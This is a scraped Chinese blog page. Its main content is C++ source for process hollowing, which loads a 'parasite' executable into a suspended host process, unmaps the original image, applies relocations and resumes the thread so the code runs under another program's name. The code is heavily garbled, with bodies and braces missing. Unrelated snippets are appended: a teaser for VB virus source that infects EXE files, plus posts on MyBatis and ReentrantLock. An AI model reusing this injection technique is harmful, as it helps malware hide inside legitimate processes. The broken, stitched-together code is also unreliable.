//實現將筆記本程式插入到計算器程式並替換掉程式程序名
#include "stdafx.h"
#include #include struct mzheader //dos
;struct pe_header
;struct pe_extheader
;struct sectionheader //只定義了乙個節表達結構是乙個陣列。。一般有多少個節就有多少個節表結構
;struct importdirentry
;bool readpeinfo(file* fp, mzheader* outmz, pe_header* outpe, pe_extheader* outpexh, sectionheader** outsechdr) //讀入指定的母體程式檔案到記憶體分別讀dos頭,pe頭,節
mzheader mzh; //結構的物件變數
fread(&mzh, sizeof(mzheader), 1, fp); //把dos頭讀取後儲存到mzh中
if(mzh.signature != 0x5a4d)
if((unsigned long)filesize < mzh.offsettope + sizeof(pe_header)) // mzh.offsettope 表示pe_header尾部到pe頭的距離
fseek(fp, mzh.offsettope, seek_set);
pe_header peh;
fread(&peh, sizeof(pe_header), 1, fp);
if(peh.sizeofoptionheader != sizeof(pe_extheader))
pe_extheader pexh;
fread(&pexh, sizeof(pe_extheader), 1, fp); //fread讀取後的指標指向檔案的尾部
sectionheader* sechdr = new sectionheader[peh.numsections]; //節表本身是陣列
fread(sechdr, sizeof(sectionheader)*peh.numsections, 1, fp);
*outmz = mzh;
*outpe = peh;
*outpexh = pexh;
*outsechdr = sechdr;
return true;
}int calctotalimagesize(mzheader* inmz, pe_header* inpe, pe_extheader* inpexh, sectionheader* insechdr) //計算檔案在儲存在記憶體中的節大小
else
for(int i=0; inumsections; i++) //讀取節到記憶體中,pe頭中numsections表示標頭檔案中節的大小,pe程式分成標頭檔案+節
else
}} return result;
}unsigned long getalignedsize(unsigned long cursize, unsigned long alignment) //判斷計算寄生檔案的節是否被整除,alignment (節)為記憶體最小單位
else }
bool loadpe(file* fp, mzheader* inmz, pe_header* inpe, pe_extheader* inpexh, sectionheader* insechdr, lpvoid ptrloc) //寄生檔案的讀取到母體的記憶體空間,寄生檔案的匯入時的起始位置lpvoid ptrloc) ,只能在母體的檔案記憶體中
} unsigned long readsize;
readsize = fread(outptr, 1, headersize, fp); //匯入標頭檔案
if( readsize != headersize )
outptr += getalignedsize(inpexh->sizeofheaders, inpexh->sectionalignment); //頭檔案大小sizeofheaders,記憶體中儲存的最小單位sectionalignment
for(i=0; inumsections; i++) //把寄生檔案的節讀入記憶體中
fseek(fp, insechdr[i].pointertorawdata, seek_set);//把指標指向節的頭部。pointertorawdata 的距離=標頭檔案的頭部到尾部的距離,
readsize = fread(outptr, 1, toread, fp);
//sizeofrawdata >=virtualsize
//virtualsize 是節在記憶體中的長度
//sizeofrawdata 則是virtualsize**件對齊後的尺寸。
//比如: 你的.text的**段長是0x110但是檔案對齊尺寸是0x400,那.text的sizeofrawdata 就是0x400,而virtualsize就是0x110
if( readsize != toread )
outptr += getalignedsize(insechdr[i].virtualsize, inpexh->sectionalignment);
} else
}} return true;
}struct fixupblock // = rva + sizeofblock (重定位表 + rva + )
;//程式本身位址和匯入記憶體後程式位址是不一樣
void dorelocation(mzheader* inmz, pe_header* inpe, pe_extheader* inpexh, sectionheader* insechdr, lpvoid ptrloc, dword newbase) //重定位 lpvoid ptrloc是程式匯入到記憶體時的資料指標(所有資料),匯入記憶體後程式的新位址dword newbase)
offsetptr++;
}fixblk = (fixupblock*)offsetptr;
} }}typedef struct _procinfo
procinfo;
#define targetproc "notopad.exe"
char szdefdir = "c:\\";
bool createchild(pprocess_information pi, pcontext ctx, procinfo* outchildprocinfo) //建立寄生檔案的執行緒
; if( createprocess(null, targetproc, null, null, 0, create_suspended, null, szdefdir, &si, pi) )
curaddr += meminfo.regionsize;
} outchildprocinfo->imagesize = (dword)curaddr - (dword)outchildprocinfo->baseaddr;
return true;
} return false;
}typedef dword (winapi* ptrzwunmapviewofsection)(in handle processhandle, in pvoid baseaddress);//斷開檔案映像的聯絡,保證如果寫入的寄生檔案比較母體檔案大的話,要重新開闢記憶體空間
bool hasrelocationtable(pe_extheader* inpexh) //
return false;}
void dofork(mzheader* inmz, pe_header* inpe, pe_extheader* inpexh, sectionheader* insechdr, lpvoid ptrloc, dword imagesize) //插入寄生檔案到母體檔案,在母體分配空間,//再寫入,在母體開闢空間有3種情況,基位址相同和大小相同,或都不相同先斷掉對映,如果都沒//有再根據母體重定位表再分配空間
; process_information pi;
context ctx;
procinfo childinfo;
if( createchild(&pi, &ctx, &childinfo) )
else
}} if( !v && hasrelocationtable(inpexh) )
}if( v )
else
setthreadcontext(pi.hthread, &ctx);
resumethread(pi.hthread);
} else
}else }
}int main(int argc, char* ar**)
else
if( fp )
else
}fclose( fp );
} else
return 0;}
VB 感染EXE 程式病毒原始碼
使大家清楚認識病毒程式的執行機理,提高自身程式的抵抗力。說明 1 本 目前僅是實驗模型,給新手講解原理之用,不會失控,絕對安全。2 本 僅實現了感染exe的功能,其他的功能還須你自己加入。3 為了目前的安全,本病毒只是在病毒所在的目錄下隨機選乙個檔案感染,你可以利用此功能來除錯 將來你可以修改,讓它...
Mybatis原始碼分析之Mapper註冊與繫結
mybatis 是乙個 面向 sql 的持久層框架,它可實現動態拼裝 sql,極其靈活,同時避免了幾乎所有的 jdbc 和手動設定引數以及獲取結果集,其外掛程式機制允許在已對映語句執行過程中的某一點進行攔截呼叫等等,讓我忍不住想要擼一擼它的原始碼。首先我們來看看用 mybatis 執行 sql 的兩...
ReentrantLock原始碼詳細解讀
reentrantlock是面試中的高頻考點,其中實現原理還是很有必要了解的。它與synchronized類似,都是互斥鎖,但具有更好的擴充套件性。reentrantlock是基於aqs實現的,遺忘的同學可以回顧一下aqs原始碼詳細解讀。1.1 繼承關係概述 首先看一下繼承關係圖,對它整體的構造有乙...